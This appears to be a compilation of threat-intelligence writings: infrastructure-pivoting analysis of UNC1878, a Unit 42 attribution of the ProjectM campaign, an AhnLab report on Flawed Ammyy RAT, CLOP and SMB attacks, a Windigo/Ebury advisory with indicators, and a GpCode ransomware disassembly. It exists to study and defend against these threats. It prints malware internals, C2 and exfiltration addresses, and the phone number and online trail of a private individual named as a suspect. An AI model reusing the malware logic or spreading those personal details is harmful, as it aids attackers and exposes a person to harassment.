of self-signed, built-in cPanel certificates can be used to differentiate and identify further infrastructure discovered through domain- or IP-based analysis. ## Composite Details and Pivoting In addition to pivoting within different types of infrastructure characteristics, understanding of adversary infrastructure tendencies enables pivoting between items as well. Insight into domain creation can reveal infrastructure hosting tendencies, which can be leveraged to identify additional domains. Or a persistent pattern in SSL/TLS certificate creation yields additional domains which in turn map to additional infrastructure. However, while the discovery of new indicators is enticing and potentially useful for defense, this represents an intermediate objective as part of a larger process. Instead of merely attempting to identify more IOCs, cyber threat intelligence (CTI) analysts should leverage this work as a means to identify fundamental adversary tendencies which can be used to continuously identify and disclose infrastructure over time. ## Example: Late 2020 Ryuk Activity To see an example of the above, we can look at the recent episode of Ryuk ransomware incidents across multiple hospital and health care provider systems in the United States, linked to a group referred to as UNC1878 by information security company FireEye. While utilizing malware and droppers such as BazarLoader and BazarBackdoor, Ryuk deployers still required C2 infrastructure to control and further expand infections in victim environments. While seemingly overwhelming, the above domains contained a number of commonalities: 1. Similar registration patterns used over time. 2. Preference for a limited number of hosting providers. 3. Consistency in SSL/TLS certificate characteristics. For example, UNC1878-linked domain “drive-boost[.]com” features the following characteristics: - Use of consistent naming “theme” reflecting IT-related concepts or items (e.g., “driver”). - Use of the Namecheap registrar. - Consistent use of WhoisGuard privacy protection service. - Consistent use of registrar-servers[.]com DNS server. While the above items individually are quite common, taken together they allow us to begin filtering likely related items. Now we have a better way of clustering known activity, and potentially identifying new, similar items. But even further options exist within a subset of domains that feature an existing SSL/TLS certificate. For example, looking at “driver-boosters[.]com” shows the following certificate information: In this case, we see a certificate pattern using a Locality Name of “Texas” and an Organization Name of “lol” for a self-signed certificate. Diving into certificate information yields over 100 items which, when looked at in conjunction with other items documented above, allows for high confidence attribution to UNC1878 activity. Through this process, we have identified a set of characteristics denoting UNC1878 infrastructure. This can be used both for post-incident attribution to determine what entity may be responsible for a breach. Additionally, such methodologies can be used through datasets such as DomainTools and search tools such as Iris Investigate to proactively and preemptively identify infrastructure as it is created. ## Conclusion While network infrastructure indicators and observables are typically viewed as atomic objects, seeing these items as composites enables powerful analysis able to keep pace with adversary evolution. By understanding the fundamental nature of items such as domain names, IP addresses, and SSL/TLS certificates, analysts can begin understanding fundamental adversary tendencies and tradecraft. When done well, such actions enable defenders to not only accurately disposition new infrastructure as it is discovered, but also to identify new infrastructure as it is created to boost defensive operations. While this process can be quite powerful in identifying and tracking adversary operations, we must also note limitations to this methodology. For example, adversaries may leverage compromised, legitimate infrastructure for communications and similar activity in order to hide their tracks and confuse analysis. This is an increasing trend for many threat actors, which can throw off analytical techniques. By viewing indicators as not just isolated objects but as composites containing multiple components that can be used to better understand the nature, purpose, and composition of the indicator, CTI analysts can unlock a greater understanding of adversary operations. Furthermore, while this article is limited to network observables, the same fundamental concepts are equally applicable to host and file-based indicators as well. By further refining, researching, and enriching indicators, CTI analysts can continuously push the envelope of threat understanding and threat detection.
# ProjectM: Targeting Indian Government and Military Personnel Unit 42 is currently researching an attack campaign that targets government and military personnel of India. This attack appears to overlap with the Operation Transparent Tribe and Operation C-Major campaigns that targeted Indian embassies in Saudi Arabia and Kazakhstan, as well as the Indian military. We are tracking the group of actors involved in this campaign as ‘ProjectM.’ During our research, we found a linkage between the infrastructure used by ProjectM and an individual from Pakistan. We cannot definitively confirm this individual is involved with this attack campaign, but the evidence suggests that it is highly likely that this individual has some involvement with the threat group. This blog post highlights the trail of evidence individuals leave on the Internet when they are not careful about disguising their identity. All of the information collected about this actor is public and accessible through open source research. The ProjectM actors rely on both spear-phishing emails and watering hole sites to deliver a variety of different tools to target the Indian government and military. ProjectM actors used a blog with a theme related to the Indian military titled “India News Tribe” as a watering hole to deliver their payloads. This group also used spear-phishing emails with malicious RTF files exploiting CVE-2010-3333 or CVE-2012-0158, in addition to Excel files that contained malicious macros to download and install their payloads. The actors have access to a sizeable toolset of Trojans that they use in their attack campaigns, including custom developed tools called Crimson and Peppy, along with off-the-shelf remote administration tools (RATs) and downloaders, such as DarkComet and Bozok. Another interesting part of this campaign is the use of techniques and Trojans often seen in cybercrime attacks, such as the use of the Andromeda Trojan as an initial payload in their attacks to download and execute other tools in their toolset. During our research, we analyzed the registration information of the Andromeda, Crimson, and Peppy Trojan command and control domains used by ProjectM. A majority of the infrastructure associated with ProjectM was registered using WHOIS protection services, which conceals the actual registrant’s information used to register the domain name. However, we discovered that the actors had in all likelihood, inadvertently neglected to use WHOIS protection on two domains in their infrastructure that they used to host C2 servers for the Andromeda Trojan. The two undisguised domains were “winupdater.info” and “ordering-checks.com,” which were registered using the email address “[email protected].” The Andromeda samples used these undisguised domains to deliver Peppy Trojans that used the previously observed ProjectM domain “bbmdroid.com” as a C2 server. The email address and information used to register these domains appears to be real and associated with the actor, which differs from most infrastructure used in targeted attacks that use fake information and a disposable email account during registration. On August 5, 2014, the actor seemingly discovered his mistake as the “ordering-checks.com” domain was updated with WHOIS protection. The Gmail address is directly linked to Facebook, LinkedIn, Google+, and Skype accounts. All of the accounts have corroborative biographical content, giving us a possible identity of a potential actor, who appears to be a 26-year-old individual from Karachi, Pakistan. At this time, we cannot absolutely confirm this individual’s involvement with ProjectM, Operation Transparent Tribe, or Operation C-Major campaigns; however, strong evidence was discovered linking this individual’s online presence to entities related to the threat group. Additionally, content posted to the social networking accounts suggest that the actor has an anti-Indian sentiment, which may be a motivating factor for the actor to participate in such attack campaigns. We believe the individual associated with the email address “[email protected]” was at one time and possibly still involved in web design services, as well as revenue generating efforts using Google AdSense. Interestingly, it appears that the individual reused servers and domains set up during web design efforts to host malicious content used in attack campaigns as well. The web design and technology services company hosted at “apnits.4t.com” listed the phone number “0345-2183117” for its chief executive and as its support number. This phone number is the same as seen in the registration information without the country code “+92.” We did not find any malicious content on this site; however, we did find content that suggests it was last revised in November 2006. Another web design company created by the individual was discovered at “xtexhosts.com.” The phone number “+92.3452183117” was also found in the WHOIS information and was registered using the email “[email protected].” We do not have any indication of malicious content hosted on xtexhosts.com, but it appears that the actor created it for Xtex Studios, which appears to be another web design company started by the actor. We found a third domain, “easternkingsology.com,” that contained registration information with the name “Xtex Studios” and the registration email of “[email protected]” until the domain expired in December 2015. The “easternkingsology.com” domain hosted a Bozok RAT sample, which suggests the threat actor hosted this Trojan on an Xtex Studios related domain for use in a ProjectM campaign. We found the registration phone number and email address for xtexhosts.com on an advertisement for another web design company called SPID3R.SOFT. The advertisement was hosted on “sahirlodhi.com,” which was a domain also used by ProjectM as the download location for a sample of the Crimson tool. On May 10, 2008, the domain registration information was updated to include the registrant email of “[email protected],” suggesting the threat actor was involved in the creation of this website. In addition to xtexhosts.com, the domain “thefriendsmedia.com” was also registered using the email “[email protected].” This domain hosts a multimedia website that claims it is “Asia’s Biggest Entertainment Portal.” Unit 42 saw this domain hosting several ProjectM tools, including the exact same Andromeda and Peppy samples as those previously observed using bbmdroid.com as a C2. The “thefriendsmedia.com” site makes references to “thefriendsfm.com,” which was originally registered in October 2010 using the email “[email protected].” On March 24, 2014, the actor shared a link on his Facebook to an article hosted on “thefriendsfm.com” titled “MOD Assistant Director and Staff Grade NTS Results 2014,” which is currently still present on the “thefriendsmedia.com” domain. The post discusses applying for positions at the Pakistani Ministry of Defense (MOD), but we do not have any conclusive evidence that the actor applied to or is connected in any way with the MOD. The email address “[email protected]” seen in the advertisement of Xtex Studios led to the discovery of the possible identity of an individual that is likely involved with ProjectM. Unit 42 found the individual’s Google+ profile, which had several posts that included domains that had hosted payloads or were C2 servers associated with ProjectM. Also, Facebook and Google+ posts include “Bind an exe in excel file | Microsoft Excel Exploit | ShobiTech,” which is interesting as ProjectM has used malicious Excel delivery documents with macros to download and install payloads in its attack campaign. The “shobitech.com” domain also appeared in one of the actor’s Facebook accounts. This Facebook account provided a great deal of information about the actor, specifically in the photos section. The actor used the shobitech.com domain in 2013 to host details of a training course on how to monetize YouTube using Google AdSense. Furthermore, another Facebook account belonging to this actor points to “shoaibyaseen.com,” which appears to host this individual’s personal blog. The blog has a total of twelve posts between February 29, 2016, and March 2, 2016. The topics posted to this blog include network port scanning and data gathering techniques, as well as commands to run using Metasploit and Meterpreter to accomplish various tasks to exploit systems and carry out post-exploitation activities. Another interesting observation about this actor is that his name shows up in the debug symbol path of several Crimson tools. The actor’s name appears in the debug symbol path of samples of the Crimson downloader and the remote administration tool, suggesting the actor may have been involved with the development of this Trojan. The email address “[email protected]” also led us to the individual’s blogger account, which was created in April 2008. The “About Me” section of this blogger account states that this individual lives in Karachi, Pakistan and studied computer science. This account also created several other blogs, most of which had little content of interest. The first related blog of interest is bbmdroid.blogspot.com that contains a link to “bbmdroid.com,” which hosted C2 services for various ProjectM tools. The indian-attack.blogspot.com does not contain any malicious exploit code or payloads, but has a theme of terrorism in India. A blog with a theme related to India closely resembles the India News Tribe blog that ProjectM used in Operation Transparent Tribe to deliver Crimson payloads. ProjectM is a threat group conducting targeted attacks on government and military personnel of India. Unit 42 has linked several different domains within ProjectM’s infrastructure to an individual residing in Pakistan. This corresponds with the suspicions of David Sancho and Feike Hacquebord at Trend Micro, who documented a likely Pakistani link to the activity in their Operation C-Major report. At this time, we cannot elaborate on the extent of this individual’s involvement with the targeted attacks; however, it does appear that the individual was involved with setting up some portion of the infrastructure used by the various payloads delivered in the attack campaign. According to the individual’s social media pages and blogs, it strongly suggests he possesses skills to carry out offensive activities in ProjectM campaigns. Also, the individual’s name appearing within Crimson Trojan samples suggests that he may have been involved with the creation of the malware as well. Trend Micro reported finding gigabytes of personal identifiable information (PII) in open directories on C2 servers related to ProjectM, mostly belonging to Indian Army personnel. Although such PII might be used for financial gain, we find multiple instances in social media and blogs where this actor states anti-Indian sentiments, suggesting he is potentially politically motivated.
# ASEC Report **VOL. 94 Q1 2019** ASEC (AhnLab Security Emergency Response Center) is a global security response group consisting of malware analysts and security experts. This report focuses on the most significant security threats and latest security technologies to guard against such threats. ## SECURITY TREND OF Q1 2019 ### SECURITY ISSUE **Discovery of the Ammyy RAT and CLOP Ransomware** A recent rise in attacks using malicious macros in attachments has been spotted in South Korea. In February 2019, a remote control hacking tool called Flawed Ammyy RAT began to be distributed through email attachments. This hacking tool has been active since 2016 and has been distributed worldwide via email. It was mainly mentioned in the media in 2018. Also, a variant of the Cryptomix ransomware, CLOP, was discovered at a similar time. CLOP is a new variant that had recently received global attention for its attempt to attack networks worldwide. AhnLab analyzed the two malware, the Ammyy RAT and CLOP ransomware, and found that they shared further similarities, including the same signatures and same attack targets. This report details the result of the analysis conducted by the AhnLab Security Emergency Response Center (ASEC) on the distribution method, attack method, and the comparison of the two malware. 1. **Overview of the Flawed Ammyy RAT Attack** Flawed Ammyy is a Remote Access Trojan (RAT). The attacker used spam emails to distribute the malware. Usually, spam emails without malicious attachments tend to encourage users to download and run malicious files. While this is not the case for Flawed Ammyy, it does trick users into believing that the attachment is important by giving a name that seems to be work-related. This method does not raise much suspicion, which increases the likelihood of users opening the attachment. Once the user downloads and opens the malicious attachment in the form of an Excel file, a macro-enabling button appears. This is a social-engineering method used by the threat actors that lures users into clicking the "Enable Contents" button at the top of the screen on Microsoft Office programs that have the macro setting disabled. Distributing malware through this method is a widely chosen attack method because general users do not know that a backdoor can be installed just by clicking this button. But unlike most general Office files that use Visual Basic for Application (VBA), the attachment of Flawed Ammyy uses XML macros. XML is the macro used in the Excel version prior to 4.0. VBA that is frequently used in the general malicious documents was introduced from Excel 5.0. Most malicious Office files use VBA to create macros that download, drop, and execute malware. And while there has been a rise in the attack methods that use PowerShell, this attack is special for using the macro creation method used in the early version of Excel programs to avoid detection by the security programs. The malicious attachment of Flawed Ammyy contains hidden sheets. When unhidden, it shows commands that download the MSI file from the malicious server using the msiexec.exe process. The malicious MSI file downloaded from the server contains an executable (EXE) file, which also downloads another executable file which is the actual malicious backdoor. Before running the executable file, the malware inspects the running processes and if any anti-virus program is running, it ends the anti-virus program. Then, the encoded file is downloaded from a set URL, and when the decoding process is finally performed, an exe-type malware is generated. The downloader is deleted once the malware is installed. This executable malware is the actual "Flawed Ammyy RAT," the hacking tool conducting malicious acts. Flawed Ammyy RAT is a malware that has been designed based on a leaked source code of Ammyy Admin, a remote desktop program. The Ammyy Admin program contains control functions for remote computers, such as file transfer and screen capture. It is believed that the threat actor created RAT malware by adding and modifying the code to perform malicious actions based on the source code. Analysis of the initial routine of Flawed Ammyy showed that it checks the currently running processes similar to the downloader and shuts the anti-virus program down if it is running. In addition, it has been confirmed that the basic information, such as OS information, authority, and username, is sent to the server so that the server can access the computer. 2. **Relationship between Flawed Ammyy RAT and CLOP Ransomware** As mentioned earlier, Flawed Ammyy RAT contains not only the main malware but also a valid signature of the downloader. Unlike other malware that contains invalid certificates, the advantage of Flawed Ammyy RAT is that its binary is signed and distributed via many valid certificates. ASEC saw a similarity in the two and found that there was a case where these two malware were signed with the same certificate. Another common feature of Flawed Ammyy RAT and CLOP ransomware is that they are distributed to enterprise users, not general users. Unlike most ransomware, which target a large number of general users, CLOP targets companies. The distribution and the infection method is yet to be confirmed. The only known fact is that the attack infects the central management server and inserts the malware in the system connected to the management server. Recently, a change has been found on the downloader of Flawed Ammyy. A routine for detecting the enterprise user environment has been added after the process of inspecting the running antivirus programs. It runs the "net user /domain" command and checks that the WORKGROUP text string is output. The WORKGROUP string will be output for general users because there are no special settings, but for enterprise users, group name set for each environment can be output. If WORKGROUP is output, it was terminated without conducting any malicious acts such as downloading and installing the Flawed Ammyy RAT malware. 3. **Operation Method of CLOP Ransomware** The CLOP ransomware is registered and executed as a system service. If it does not run as a service, it does not operate properly. Also, CLOP terminates certain processes before proceeding with file encryption. It is presumed that this is to encrypt more objects in the process of encryption. The targeted processes are shown in the report. The characteristic feature of the CLOP ransomware is that it excludes some paths and files from encryption. If the path contains the relevant string, it is excluded from the encryption. The public key of the threat actor is included in the file, and the public key is used to encrypt the files. CLOP uses the AES algorithm for file encryption. On the symmetric key generated by the user PC, it inserts the “Clop ^_-” sign of CLOP and encrypts the symmetric key used as the public key of the threat actor and adds it to the end of the signature. In the end, the file name is changed to [Original file name].Clop. Through the findings and similarities between the two malware, we can deduce that Flawed Ammyy RAT is used as one of the infection vectors of the CLOP ransomware, even though its distribution method and infection method are not yet confirmed. This is because Flawed Ammyy RAT can execute commands to steal information and install malware via remote control. 4. **Conclusion** The analysis conducted by ASEC found many similarities between the Flawed Ammyy RAT and CLOP ransomware, such as an overlap in the activity period, direct targeting of Korean users, routines to bypass the antivirus program, and signing and distribution of various malware including variants using a valid certificate. In addition, they share the same signature and they both target enterprise users, which makes it highly likely that they are produced by the same threat actor. It is important to keep Windows security patches and anti-virus programs up-to-date in order to minimize the risk of malware, such as Flawed Ammyy RAT, CLOP ransomware, and so on. Also, it is necessary to pay extra attention to the execution of attachments, such as emails, from untrusted sources in the company and to refrain from visiting unauthorized web pages. AhnLab’s V3 products detect Flawed Ammyy RAT and CLOP ransomware under the following alias: - XLS/Downloader - MSI/Downloader - BinImage/Encoded - Trojan/Win32.Agent - Trojan/Win32.Downloader - Backdoor/Win32.Agent - Trojan/Win32.ClopRansom ### ANALYSIS IN-DEPTH **Shadow of WannaCry, 2019 SMB Exploitation** WannaCry (or WannaCryptor), which infected more than 300,000 systems in May 2017 and gripped the whole world in fear, spread rapidly by exploiting a Windows SMB security vulnerability (MS17-010). Precaution is required since the recently discovered malware is a CoinMiner, a type of malware that mines cryptocurrency. This report details the analysis by AhnLab on the attack cases that exploited the SMB vulnerability (MS17-010) from 2018 to the first quarter of 2019. 1. **NRSMiner Malware Attack (2018)** In March 2018, a company was found infected with NRSMiner malware. By exploiting the SMB vulnerability (MS17-010) like WannaCryptor, this malware scans the internal network of the company and installs the malware that mines the cryptocurrency Monero if the system is vulnerable. NRSMiner consists of a package file in the ZIP compressed file format, and has a different filename for the package "MsraReportDataCache32.tlb" for each variant. Once the system is infected, one of the file names, srv or srv64, is changed to "tpmagentservice.dll" according to the installed OS environment and is registered as a service. This then later creates and executes the attack modules and the mining tool later. Spoolsv and Spoolsv64 executables load the package file, install necessary modules depending on the environment, and scan the MS17-010 vulnerability in the system. To propagate the SMB vulnerability exploit, it runs the svchost.exe (Eternalblue-2.2.0.exe) and the spoolsv.exe (Doublepulsar-1.3.1.exe) file in the Crypt compression folder inside the MsraReportDataCache32.tlb file. Depending on the Windows environment, the x64.dll or x86.dll file is loaded and the file names are hard-coded in spoolsv64.exe. Finally, a vulnerability scan is conducted within the thread of the spoolsv64.exe process. If successful, it copies the TLB file from the x64.dll and x86.dll module to the target system and conducts decompressions. Then the filename is changed to "tpmagentservice.dll," the srv service is registered, and the spoolsv64.exe file is executed again. 2. **Analysis of the POS Attack Case (2018)** In July 2018, 100,000 POS terminals were hacked in South Korea. The hacking caused most POS terminals to disconnect from the internet and prevented normal operation of the payment service. One of the companies which was the victim of this hacking incident posted about their service failures that occurred due to the exploit of the Windows security vulnerability and also the recommendations for security patches. Most of the infected terminals were running the Windows XP operating system that has the SMB vulnerabilities and did not have the security updates applied. The threat actor exploited this vulnerability, like the WannaCryptor ransomware, to install Gh0st RAT, which is a backdoor malware and CoinMiner. 3. **Analysis of the POS Attack Case 2 (2019)** In February 2019, another case of an infection that uses the CoinMiner malware to exploit the SMB vulnerability was found targeting the South Korean POS terminals. The overall operation process of this malware is shown in the report. The sample.exe file is a malware which contains two different types of 32-bit and 64-bit files to apply depending on the operating environment. The "svchost.exe" file copied in the drive folder in the system path (%system%drivers) performs the actual role of initiating the SMB vulnerability attack. The last file that is downloaded and installed is the CoinMiner malware and Mimikatz, a hacking tool for stealing the Windows account information. Unlike the POS attack of July 2018, the interesting characteristics of the CoinMiner malware is that it is a script rather than an executable. 4. **Conclusion** In 2008, a worm called Conficker started to infect many systems and continued to do so, targeting the SMB vulnerability (MS08-067) to propagate the infection. Companies using the SMB service are susceptible to the types of attacks, especially when they are not applied with the recent security updates. To prevent such damage, the following security patches related to the Microsoft Windows operating system's EternalBlue SMB vulnerability (MS17-010) must be applied. In view of the March 2010 NRSMiner malware attacks and the POS attacks which took place in February and July 2018, it seems that the SMB vulnerability (MS17-010) attacks will continue in an increasingly sophisticated way. Therefore, security inspections and updates are important especially for the POS terminals in a vulnerable environment.
# Advisory: Windigo Attacks This page covers ongoing attacks and may be updated (latest: 2019-07-17). ## Introduction Windigo has been a long-standing adversary of the Research & Education community. The first known attack dates back to 2011, when the Ebury malware was discovered during the Linux Foundation attack. A technical paper describing the attacks in-depth was published in 2014 by ESET: "Operation Windigo". After the arrest and conviction of one of the key attackers, our community observed a sharp drop in the number of infections. Sporadic Ebury infections continued to be observed in other sectors and led to another update from ESET: Windigo Still not Windigone: An Ebury Update. A lot could be learnt from the attacks to better protect our community, for example to detect OpenSSH backdoors. Unfortunately, dozens of Linux servers were discovered compromised again in the Research & Education community in May 2019, all running new and improved versions of Ebury. ## Ebury Malware The Ebury malware samples detected in May 2019 appear to be evolutions of the malicious code from 2014 and 2017. The technical documents referenced in the introduction remain largely valid. In a nutshell, the Ebury malware replaces legitimate dynamic libraries (e.g. libkeyutils.so) in the affected system to capture SSH passwords and SSH keys. When executed: - The infected dynamic library will load a secondary malicious dynamic library (e.g. libstz.so), containing the actual malicious code. - Malicious hooks and a specific OpenSSH server configuration are pushed within the running OpenSSH server binary to accommodate the capture of credentials and backdoor functionality. - A malicious process is forked and dedicated to the extraction of credentials. The two malicious processes communicate via an abstract unix socket. ## Ebury Backdoor Ebury uses a complex backdoor mechanism described in the technical documents referenced in the introduction. In the samples collected in May 2019, the authentication part of the backdoor was updated and reinforced. Nevertheless, the attacker seems to continue to connect daily to infected hosts and exfiltrate the credentials using known techniques. ### Indicators of Compromise #### Network: Backdoor Connections The attacker is known to use direct incoming SSH connections to the victim's OpenSSH server. The backdoor connection will be regular SSH connections, with two notable exceptions: - The SSH client string will be different: SSH-2.0-XXXXXXXXXXXXXXX, where XXXXXXXXXXXXXXX will either be a Hex number (Ebury < 1.7.0) or Base64 string (Ebury >= 1.7.0). - The string is an encrypted message for the backdoor. It can be decoded based on the incoming IP address used by the attacker. - Logging all incoming SSH client versions using network monitoring tools is very helpful. Example malicious strings from incoming IP address 80.82.67.21: SSH-2.0-1f25412f1c4d340d173f003a35150d5734111a5562471c. Backdoor connections (incoming SSH) may be observed from the following IP addresses: - 94.140.120.163 - 49.50.70.223 - 80.82.67.21 - 125.160.17.32 It is essential to monitor the SSH client version string. #### Network: Password Exfiltration The SSH client string is decrypted by the client to reveal the credentials exfiltration IP address that needs to be used by the malware. Both the SSH client string and the incoming IP address are needed to decrypt the malicious command and exfiltration IP address. The exfiltration IP address is used by the malware to exfiltrate captured credentials as an outgoing DNS request (UDP:53). The following IP address has been identified as the exfiltration (outgoing UDP:53) host: 91.236.116.62. Additional exfiltration methods are described in the technical documents referenced in the introduction. In particular, the malware also relies on a DGA, and the attacker seems to have prepared the following domains: - larfj7g1vaz3y.net / 78.140.134.7 - op3f1libgh.biz / 193.0.179.76 These domains are actively maintained by the attacker. However, no known affected host has been observed using this exfiltration path in the current attack. ### Host-Based Indicators The easiest way to inspect the OpenSSH server for signs of infection is to verify the dynamic libraries in use. In particular, libkeyutils.so.* will typically have a single link to libc.so. Note that the malware uses different library filenames (e.g. libsbz.so, libstz.so, etc.). For example, on an infected system: ``` # objdump -x /lib64/libkeyutils.so.1 | grep NEEDED NEEDED libc.so.6 NEEDED libstz.so ``` This indicates that libkeyutils.so.1 has been infected and will call Ebury from libstz.so. This contrasts with a clean system: ``` # objdump -x /lib64/libkeyutils.so.1 | grep NEEDED NEEDED libc.so.6 ``` Due to code errors in the malware, it is also common to discover segfault messages in the kernel logs, for example: ``` Jun 04 09:01:03 hostname kernel: sshd[12345]: segfault at 7fcf794b8000 ip 00007fcf792a50b8 sp 00007fffb6b8e0e0 error = ``` The malicious abstract unix socket may also be identified by running the following command: ``` # lsof | grep "@/run" ``` Note: as it is an abstract socket, it is not possible to find it on the filesystem. ## Responding to the Attack The attack is relying on stolen SSH credentials in our highly interconnected community. Therefore, the initial infection vector is often a valid SSH login from a valid user from a known location. As a result, collaboration between the affected organizations is absolutely crucial. Responding to this attack extensively relies on victims reporting attacks and contributing new malicious samples, and sharing back with the community. If you are affected by this attack, you can: - Ask directly for advice or support to [email protected]. - Share with or without attribution malicious samples and indicators of compromise with [email protected].
# GpCode Ransomware 2010 Simple Analysis Hi, firstly: sorry for my bad English. It's not my native language (I'M FRENCH). Well, I’ve wanted to make a post about that a long time ago but I was really bored to have a look at it. Finally, I did it because no one seems to have done it before (or no one has the sample to work at it?). ## Technical Information about the File - **CRC32**: CCDFBD05 - **MD5**: b14c45c1792038fd69b5c75e604242a3 - **SHA1**: 54ab323053f1138e5ccaa8f8afaa38cabca9491f - **Packer**: UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo - **Compiler**: MASM/TASM - **File size**: 10.5 Kb (10,752 bytes) - **OEP**: 00011790 - **Also known as**: - Trojan.Gpcoder.G (Symantec) - GPcoder.j (McAfee) - Trojan:Win32/Ransom.BQ (Microsoft) - TROJ_RANSOM.EWQ (TrendMicro) - Troj/Ransom-U (Sophos) ### Main Place in Ollydbg - **OEP**: 0x401990 (When unpacked) ### Text Version ``` 00401990 >/$ E8 48FCFFFF CALL 004015DD ; 1.004015DD 00401995 |. 85C0 TEST EAX,EAX 00401997 |. 0F84 80000000 JE 00401A1D ; 1.00401A1D 0040199D |. 68 2E304000 PUSH 40302E ; /MutexName = "ilold" 004019A2 |. 6A 00 PUSH 0 ; |Inheritable = FALSE 004019A4 |. 68 01001F00 PUSH 1F0001 ; |Access = 1F0001 004019A9 |. E8 12010000 CALL 00401AC0 ; \OpenMutexA 004019AE |. 85C0 TEST EAX,EAX 004019B0 |. 75 6B JNZ SHORT 00401A1D ; 1.00401A1D 004019B2 |. 68 2E304000 PUSH 40302E ; /MutexName = "ilold" 004019B7 |. 6A 00 PUSH 0 ; |InitialOwner = FALSE 004019BB |. E8 9A000000 CALL 00401A5A ; \CreateMutexA 004019C0 |. E8 3BF6FFFF CALL 00401000 ; 1.00401000 004019C5 |. 85C0 TEST EAX,EAX 004019C7 |. 74 54 JE SHORT 00401A1D ; 1.00401A1D 004019C9 |. E8 A3F8FFFF CALL 00401271 ; 1.00401271 004019CE |. 33C0 XOR EAX,EAX 004019D0 |. 50 PUSH EAX ; /pThreadId => NULL 004019D1 |. 50 PUSH EAX ; |CreationFlags => 0 004019D2 |. 50 PUSH EAX ; |pThreadParm => NULL 004019D3 |. 68 35134000 PUSH 401335 ; |ThreadFunction = 1.00401335 004019D8 |. 50 PUSH EAX ; |StackSize => 0 004019D9 |. 50 PUSH EAX ; |pSecurity => NULL 004019DA |. E8 81000000 CALL 00401A60 ; \CreateThread 004019DF |. 6A 01 PUSH 1 ; /ErrorMode = SEM_FAILCRITICALERRORS 004019E1 |. E8 EC000000 CALL 00401AD2 ; \SetErrorMode 004019E6 |. E8 A5000000 CALL 00401A90 ; [GetLogicalDrives 004019EB |. B9 19000000 MOV ECX,19 004019F0 |> BB 01000000 /MOV EBX,1 004019F5 |. D3E3 |SHL EBX,CL 004019F7 |. 23D8 |AND EBX,EAX 004019F9 |. 74 1F |JE SHORT 00401A1A ; 1.00401A1A 004019FB |. 80C1 41 |ADD CL,41 004019FE |. 880D 70304000 |MOV BYTE PTR DS:[403070],CL 00401A04 |. 80E9 41 |SUB CL,41 00401A07 |. C705 71304000>|MOV DWORD PTR DS:[403071],2A5C3A 00401A11 |. 50 |PUSH EAX 00401A12 |. 51 |PUSH ECX 00401A13 |. E8 EEFDFFFF |CALL 00401806 ; 1.00401806 00401A18 |. 59 |POP ECX 00401A19 |. 58 |POP EAX 00401A1A |> 49 |DEC ECX 00401A1B |.^ 7D D3 \JGE SHORT 004019F0 ; 1.004019F0 00401A1D |> 68 F4010000 PUSH 1F4 ; /Timeout = 500. ms 00401A22 |. E8 BD000000 CALL 00401AE4 ; \Sleep 00401A27 |. 833D 34304000>CMP DWORD PTR DS:[403034],1 00401A2E |.^ 75 ED JNZ SHORT 00401A1D ; 1.00401A1D 00401A30 |. E8 90F6FFFF CALL 004010C5 ; 1.004010C5 00401A35 |. E8 33FDFFFF CALL 0040176D ; 1.0040176D 00401A3A |. 6A 00 PUSH 0 ; /ExitCode = 0 00401A3C \. E8 25000000 CALL 00401A66 ; \ExitProcess ``` In the first call, GpCode will load and lock a resource. ### Screenshot of Grabbed Data According to the first bytes, this is not a valid PE file. ``` 0040160D |. 50 PUSH EAX ; /hResource 0040160E |. 6A 00 PUSH 0 ; |hModule = NULL 00401610 |. E8 C9040000 CALL 00401ADE ; \SizeofResource 00401615 |. 0BC0 OR EAX,EAX 00401617 |. 75 04 JNZ SHORT 0040161D ; GpCode.0040161D 00401619 |. 33C0 XOR EAX,EAX 0040161B |. C9 LEAVE 0040161C |. C3 RETN ``` Here it grabs the size of the resource, `eax` will contain `0000055D` (1373). Note: The screenshot of resource hacker also indicates the size. When it's done, it gets free memory by `GlobalAlloc` (at `eax: 00175158`) with the specified size: `55D`. ``` 00401646 |. FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /MemSize 00401649 |. 6A 40 PUSH 40 ; |Flags = GPTR 0040164B |. E8 52040000 CALL 00401AA2 ; \GlobalAlloc 00401650 |. 0BC0 OR EAX,EAX ``` Then, it does a copy to the following memory (`00175158`). ``` 0040165D |. FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /Length = 55D (1373.) 00401660 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |Source = GpCode.0040F474 00401663 |. FF75 EC PUSH DWORD PTR SS:[EBP-14] ; |Destination = 00175158 00401666 |. E8 61040000 CALL 00401ACC ; \RtlMoveMemory 0040166B |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; /hResource = 0040F474 0040166E |. E8 11040000 CALL 00401A84 ; \FreeResource 00401673 |. 8B5D EC MOV EBX,DWORD PTR SS:[EBP-14] 00401676 |. 6A 10 PUSH 10 ; /Length = 10 (16.) 00401678 |. 53 PUSH EBX ; |Source = 00175158 00401679 |. 68 70444000 PUSH 404470 ; |Destination = GpCode.00404470 0040167E |. E8 49040000 CALL 00401ACC ; \RtlMoveMemory ``` Just after doing this, it goes to another call. In this call, it will decrypt the data contained at `00175158`. ### List of Extensions to be Encrypted - .jpg - .jpeg - .psd - .cdr - .dwg - .max - .mov - .m2v - .3gp - .doc - .docx - .xls - .xlsx - .ppt - .pptx - .rar - .zip - .mdb - .mp3 - .cer - .p12 - .pfx - .kwm - .pwm - .txt - .pdf - .avi - .flv - .lnk - .bmp - .1cd - .md - .mdf - .dbf - .mdb - .odt - .vob - .ifo - .mpeg - .mpg `.bat`, `.sys`, `.exe`, and `.ini` files will not be attacked because the system uses all of them. The goal of GpCode is not to crash the system. ### Conclusion All your data are encrypted with an executable of 25Kb, and there is no possibility to recover them until paying the ransom. The malware author claims that after `n` days, all encrypted files will be completely deleted and you will have no chance to get it back. However, there is absolutely nothing inside the code to do such action. It says that just to scare users, pushing them into buying the 'special decrypt program'. Backup your data from time to time in a safe place, and don't forget to unplug the storage device which contains these saved data.
